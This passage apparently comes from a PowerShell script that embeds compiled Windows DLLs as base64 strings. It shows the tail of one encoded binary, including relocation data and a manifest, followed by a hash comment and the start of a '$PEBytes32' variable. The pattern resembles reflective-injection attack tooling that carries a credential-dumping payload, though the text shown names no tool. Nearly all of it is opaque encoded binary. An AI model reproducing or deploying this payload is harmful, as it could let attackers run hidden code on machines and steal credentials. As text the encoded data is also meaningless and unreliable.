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Q7QcAeu4HACCfCwCM7gcAIe8HAJSfCwAk7wcAuO8HAJSfCwC47wcAB/AHAAieCwAQ8AcAUPAHAHCfCwBQ8AcAhPAHAJjMCwCE8AcAyfAHAOzMCwDM8AcA+vAHALjMCwAc8QcAtfMHAMDMCwDg8wcAJfQHAHCfCwAw9AcAb/QHACyjCwBw9AcAy/cHACDNCwDM9wcAYvgHABDNCwBk+AcAk/gHAHilCwAg+QcAlvoHAJSfCwDA+gcA9voHAOygCwAg+wcAyPsHAHilCwDI+wcAOPwHAEjNCwA4/AcAoPwHAHCfCwCg/AcAX/0HANyjCwBg/QcAyxAIAGzNCwDMEAgA0BEIAIzNCwDQEQgA2RIIAJzNCwDcEggAxBMIAAieCwDEEwgArRQIAAieCwCwFAgADxUIAHilCwAQFQgAGhYIAGipCwAcFggAiBYIAOygCwCIFggA3hYIAAieCwDgFggA6BcIAKzNCwAUGAgAxRkIALzNCwDIGQgAjxoIAGy2CwCQGggAwhoIAHilCwDEGggAtBsIAOTNCwC0GwgATRwIAAieCwBgHAgAuRwIABDRCwAMHQgAXB0IAHilCwBcHQgANh4IAKSmCwA4HggAFh8IADDOCwAYHwgAqiEIANCqCwCsIQgAtSMIAFTOCwC4IwgAeSQIAKyoCwB8JAgAaygIABTOCwBsKAgAnigIAHimCwCgKAgAASkIANyjCwAEKQgAGykIAHilCwAcKQgALSkIAHilCwA8KQgAjCkIANyjCwCMKQgAaCsIAGjOCwBoKwgAmCwIAHyfCwDoLAgAFy0IAHilCwAYLQgARy0IAHilCwBILQgAdy0IAHilCwB4LQgAxi8IALTOCwDILwgAnDEIAKTOCwCcMQgAoTIIAMjOCwCkMggA4DIIAITOCwDgMggA9zIIADDPCwD3MggAqzMIAEDPCwCrMwgArDMIAFzPCwCwMwgACzQIAOTOCwALNAgAxzYIAPzOCwDHNggA5DYIACDPCwDkNggAtjcIAHCfCwC4NwgAVjgIAGzPCwBgOAgA9jgIAPC6CwD4OAgADzkIAHilCwAoOQgAKDoIAAjCCwBAOggAYDoIANyjCwBgOggArDoIANyjCwCsOggA/DoIANyjCwDAOwgAa0EIAIDPCwBsQQgAp0EIAHS4CwCoQQgAyEEIAHilCwDIQQgAQUMIAPCdCwB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woTihQKFIoVChWKFgoWihAJAIABABAAAAphCmIKYopjCmOKZApkimUKZYpmimcKZ4poCmiKaQppimoKa4psim0KbYpuCm6KawqLiowKjIqNCo2KjgqOio8Kj4qACpCKkQqRipIKkoqTCpOKlAqUipUKlYqWCpaKlwqXipgKmIqZCpmKmgqaipsKm4qcCpyKnQqdip4KnoqfCp+KkAqhCqGKogqiiqMKo4qkCqSKpQqliqYKpoqnCqeKqAqoiqkKqYqqCqqKqwqriqwKrIqtCq2Krgquiq8Kr4qgCrCKsQqxirIKsoqzCrOKtAq0irUKtYq2CraKswrzivQK9Ir1CvWK9gr2ivcK94r4CviK+Qr5ivoK+or7CvuK/Ar8ivAAAAoAgAPAAAABiuIK4orjCuqK64rsiu2K7orviuCK8YryivOK9Ir1ivaK94r4ivmK+or7ivyK/Yr+iv+K8AsAgApAEAAAigGKAooDigSKBYoGigeKCIoJigqKC4oMig2KDooPigCKEYoSihOKFIoVihaKF4oYihmKGoobihyKHYoeih+KEIohiiKKI4okiiWKJooniiiKKYoqiiuKLIotii6KL4ogijGKMoozijSKNYo2ijeKOIo5ijqKO4o8ij2KPoo/ijCKQYpCikOKRIpFikaKR4pIikmKSopLikyKTYpOik+KQIpRilKKU4pUilWKVopXiliKWYpailuKXIpdil6KX4pQimGKYopjimSKZYpmimeKaIppimqKa4psim2KbopvimCKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+in+KcIqBioKKg4qEioWKhoqHioiKiYqKiouKjIqNio6Kj4qAipGKkoqTipSKlYqWipeKmIqZipqKm4qcip2KnoqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvIq9ir6Kv4qwisGKworDisSKxYrGiseKyIrJisqKy4rMis2KwAwAgA7AAAAOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAKsQqyCrMKtAq1CrYKtwq4CrkKugq7CrwKvQq+Cr8KsArBCsIKwwrECsUKxgrHCsgKyQrKCssKzArNCs4KzwrACtEK0grTCtQK1QrWCtcK2ArZCtoK2wrcCt0K3grfCtAK4QriCuMK5ArlCuYK5wroCukK6grrCuwK7QruCu8K4ArxCvIK8wr0CvUK9gr3CvgK+Qr6CvsK/Ar9Cv4K/wrwDQCADsAAAAAKAQoCCgMKBAoFCgYKBwoICgkKCgoLCgwKDQoOCg8KAAoRChIKEwoUChUKFgoXChgKGQoaChsKHAodCh4KHwoQCiEKIgojCiQKJQomCicKKAopCioKKwosCi0KLgovCiAKMQoyCjMKNAo1CjYKNwo4CjkKOgo7CjwKPQo+Cj8KMApBCkIKQwpECkUKRgpHCkgKSQpKCksKTApNCk4KTwpAClEKUgpTClQKVQpWClcKWApZCloKWwpcCl0KXgpfClAKYQpiCmMKZAplCmYKZwpoCmkKagprCmwKbQpuCm8KYApxCnAPAIAAwAAAAorDCsAAAJAHgBAACopbilyKXYpeil+KUIphCmGKYgpiimMKY4pkCmSKZQplimYKZwpoCmkKagprCmwKbQpuCm8KYApxCnIKcwp0CnUKdgp3CngKeQp6CnsKfAp9Cn4KfwpwCoEKggqDCoQKhQqGCocKiAqJCooKiwqMCo0KjgqPCoAKkQqSCpMKlAqVCpYKlwqYCpkKmgqbCpwKnQqeCp8KkAqhCqIKowqkCqUKpgqnCqgKqQqqCqsKrAqtCq4KroqvCq+KoAqwirEKsYqyCrKKswqzirQKtIq1CrWKtgq2ircKt4q4CriKuQq5iroKuwq8Cr0Kvgq/CrAKwQrCCsMKxArFCsYKxwrICskKygrLCswKzQrOCs8KwArRCtIK0wrUCtUK1grXCtgK2QraCtsK3ArdCt4K3wrQCuEK4grjCuQK5QrmCucK6ArpCuoK6wrsCu0K7grvCuAK8QryCvMK9Ar1CvYK9wr4CvkK+gr7CvwK/Qr+Cv8K8AAAAQCQCQAAAAAKAQoCCgMKBAoFCgYKBwoICgkKCgoLCgwKDQoOCg8KAAoRChMKE4oUChSKFQoWChaKFwoXihgKGIoZChmKGgoaihsKG4ocCh8KH4oQCiCKIQohiiIKIoohCjGKMgoyijUKMApAikEKQYpECkkK+Yr6CvqK+wr7ivwK/Ir9Cv2K/gr+iv8K/4rwAgCQCQAAAAIKAooDigQKBIoFCgWKBgoGigcKB4oICgiKCQoJigoKCooLCguKDAoMig0KDYoOCg6KDwoJChmKGgoaihsKG4ocChyKHQodih4KEoqDCoOKhAqEioUKjwqfipAKoIqhCqKKowqjiqQKpYqmCqaKpwqniqgKqIqpCqmKqgqqiqsKrYquCquKwAAAAwCQAkAAAAiKWYpXCueK6AroiukK6YrqCueK+Ar4ivmK+orwBACQAQAQAA6KPwo/ijCKQQpBikqKSwpMik0KTYpGCnaKdwp4inkKeYp6CnqKewp7inwKfIp9Cn6KfwpwiouKjAqNiouKnAqdCp2Kngqeip8Kn4qQCqGKogqjiqqKuwq7irwKvIq9Cr2KtgrWitcK14rYCtiK2QrZitoK2orbCtuK3Arcit0K3YreCt6K3wrfitAK4IrhCuGK4griiuMK44rkCuSK5QrliuYK5ornCueK6AroiukK6YrqCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QryCvKK8wrzivQK9Ir1CvWK9gr2ivcK94r4CviK+Qr5ivoK+or7CvuK/Ar8iv0K/Yr+Cv6K/wrwAAAFAJAAwDAAAQoBigIKAooDCgOKBAoEigUKBYoGCgaKBwoHiggKCIoJCgmKCgoKigsKC4oMCgyKDQoNig4KDooPCg+KAAoQihEKEYoSChkKGYoaChqKGwobihwKHIodCh2KHgoeih8KH4oQCiCKIQohiiIKIoojCiOKJAokiiUKJgomiicKKAooiioKKoosCiyKLgouii8KIAowijEKMgoyijMKNAo0ijYKNoo4CjiKOgo6ijwKPIo+Cj6KMApAikIKQopECkSKRgpGikcKSApIikkKSgpKiksKS4pMCkyKTQpNik4KTopPCk+KQApQilEKUYpSClKKUwpTilQKVIpVClWKVgpWilcKV4pYCliKWQpZiloKWopcClyKUApgimEKYYpiCmKKa4pvimIKcopzCnOKdAp0inUKdYp2CnaKdwp3ingKeIp5CnmKegp6insKe4p8Cn0KfYp+in8Kf4pwCoCKgQqDioQKhIqFCoWKhgqGiogKiYqKCoqKiwqLiowKjIqNCo2KjgqOio8Kj4qACpCKkQqRipIKkwqTipSKlQqWCpaKmAqZipoKm4qdCp2Kngqeip8Kn4qQCqCKoQqhiqIKo4qlCqWKpgqmiqcKp4qoCqiKqQqpiqoKqoqrCquKrAqsiq0KrYquCq6KrwqviqAKsIqxCrGKsgqyirMKtIq2CraKtwq3irgKuIq5CrmKugq6irsKu4q8CryKvQq9ir4Kvoq/Cr+KsArAisEKworECsSKxQrFisYKxorHCseKyArIiskKyYrKCsqKywrLiswKzIrNCs2KzgrOis8Kz4rACtCK0QrRitIK0orTCtOK1ArUitUK1YrWCtaK1wrXitgK2IrZCtmK2grbCtyK3QreitAK4IrhCuGK4griiuMK44rkCuSK5QrliuYK5ornCueK6AroiukK6YrqCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QrxivIK8orzCvSK9gr2ivcK94r4CviK+Qr5ivoK+or7CvuK/Ar8iv0K/Yr+Cv6K/wr/ivAGAJADQBAAAAoAigEKAYoCCgKKAwoDigQKBIoFCgWKBgoHigkKCYoKCgqKCwoMig0KDYoOCg6KDwoPigAKEIoSChQKFgoYChiKGgoaihwKHIoeCh8KH4oRCiKKIwojiiUKJYomCicKJ4ooCiiKKQopiioKKoorCiuKLAosii0KLYouCi6KLwoviiAKMIoxCjGKMgoyijMKM4o0CjSKNQo1ijYKNoo3CjeKOAo4ijkKOYo6CjqKOwo7ijwKPIo9Cj2KPgo+ij8KP4owCkCKQQpBikIKQopDCkOKRApEikUKRYpGCkaKRwpHikgKSIpJCkmKSgpKiksKS4pMCkyKTQpNik4KTopPCk+KQApQilEKUYpSClKKUwpTilQKVIpeimGKsgqyirMKs4q8Cr0KvYq+CrAAAAkAsAEAAAALip0KnYqQAAAAAMAAABAAA4oHigsKH4oRiiOKJYoniiqKLAosii0KIIoxCjYKOYpcCoyKjQqNio4KjoqPCo+KgAqQipGKkgqSipMKk4qUCpSKlQqeCp6Kl4q4irkKuYq6CryKvQq9ir4Kvoq/Cr+KsArAisGKxArFCsYKxwrJCsmKyorMCs2KzgrPCs+KwIrRCtIK0orTitQK1QrVitaK1wrYCtiK2YrbCtyK3QreCt6K34rQCuEK4orjCuQK5IrliuYK5wrniuiK6QrqCuqK64rsCu0K7Yruiu8K4ArwivGK8wrzivSK9Qr2CvaK94r4CvkK+Yr6ivsK/Ar8iv2K/gr/Cv+K8AAAAQDABkAQAACKAQoCCgKKA4oECgUKBYoGigcKCAoIigmKCgoLCgyKDgoOig+KAAoRChGKEooTChQKFIoVihYKFwoXihiKGQoaChqKG4ocCh0KHYoeih8KEAogiiGKIgojCiOKJIolCiYKJ4ooCikKKYoqiiwKLYovCiCKMgozijUKNYo2ijcKOAo4ijmKOwo8ij4KP4owCkyKXYpeilAKYQpiCmOKZIplimqKa4psCmyKbQpvimAKcIpxCnGKcgpyinMKdYp2inkKegp8in2KcAqBCoOKhIqHCogKioqLio4KjwqBipKKlQqWCpmKnAqcip0Kn4qQiqQKpoqnCqeKqgqrCq2KroqhCrIKtIq1irgKuQq7iryKvwqwCsKKw4rGCscKyYrKis0KzgrAitGK1ArVCteK2IrbCtwK3orfitIK4wrliuaK6QrqCuyK7YrgCvEK84r0ivcK+Ar6ivuK/gr/CvACAMAOAAAAAYoCCgKKBQoFigYKCIoJCgmKDAoMig0KD4oAChCKEwoTihQKFooXCheKGQoaChsKHIodih6KEAohCiIKJYopCiuKLIotii4KLoovCi+KIAoxCjQKOQo+CjYKRwpLCkwKQApRClUKVgpaClsKXwpQCmoKawpvCmAKdAp1CnkKegp+CnAKgQqEioWKhoqICokKjQqOCoIKkwqWipeKmIqQCqEKpgqrCqAKtgq7CrAKyQrKCs4KzwrDCtQK2QraCt4K3wrTCuQK7Artiu8K4QryCvYK9wr7CvwK8AMAwAgAAAAACgEKCwoMCgAKEQoVChYKGgobCh8KEAoliiYKKgovCiQKOQo1CkoKTwpEClkKUQpmCmsKYAp1CnoKfwp0CokKjgqDCpgKnQqSCqgKqYquCqMKugq/CrQKyQrOCsMK1wrXitiK3ArditEK4ornCuwK4Qr2CvsK8AAABADABMAAAAAKBgoGigeKDQoCChcKHAoRCiYKKwovCi+KIIo1CjkKOYo6ij4KPoo/ijQKSQpOCkUKVYpWilsKXwpfilCKZQpqCm8KYAAAAAAAAAAAAAAAA=' - - # SHA256 hash: 7ddaff27ffa42be531cad7600cf4e759a7a768c7ef05661e03fdc2edf6682dd0 - $PEBytes32 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADwXgubtD9lyLQ/Zci0P2XIAKOUyL4/ZcgAo5bIID9lyACjl8itP2XI12JmyaM/ZcjXYmDJoz9lyNdiYcmnP2XI0tGuyLA/Zci9R+bItj9lyHcwOMiyP2XIvUf2yK8/Zci0P2TIxz5lyNpibcnzP2XI2mJlybU/ZcjaYprItT9lyNpiZ8m1P2XIUmljaLQ/ZcgAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBgBOUYlXAAAAAAAAAADgAAIhCwEOAAAKBwAAggMAAAAAAAgXBQAAEAAAACAHAAAAABAAEAAAAAIAAAUAAQAAAAAABQABAAAAAAAAwAoAAAQAAAAAAAADAEABAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAoOkJAGAAAAAA6gkAfAEAAABgCgCIAgAAAAAAAAAAAAAAAAAAAAAAAABwCgD8TgAAUOAJABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABw4AkAQAAAAAAAAAAAAAAAACAHAOAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAADQIBwAAEAAAAAoHAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAACI7QIAACAHAADuAgAADgcAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAATD0AAAAQCgAALgAAAPwJAAAAAAAAAAAAAAAAAEAAAMAuZ2ZpZHMAAKwAAAAAUAoAAAIAAAAqCgAAAAAAAAAAAAAAAABAAABALnJzcmMAAACIAgAAAGAKAAAEAAAALAoAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAA/E4AAABwCgAAUAAAADAKAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7ItNDFZXi30Ihcl1A41PIItFEIlHMItFFIlHNI1HGFBXaCMRABBR6PogBQCL8IPEEIX2dA1+Hg+39oHOAAAHgOsTi08ED7cBUFFqAlfoCQAAAIPEEF+Lxl5dw1WL7P91FItFCP91EP91DP9wHP9wGOjxIAUAg8QUhcB+CA+3wA0AAAeAXcNVi+xWi3UI/3Yc/3YY6BEhBQCDZhgAg2YcAFlZXl3DVYvsi0UMM9JWvhpTCBCFwHQQi9CL8I1KAYoCQoTAdfkr0YtNCI1CAYNhBACDYQwAiTGJQQheXc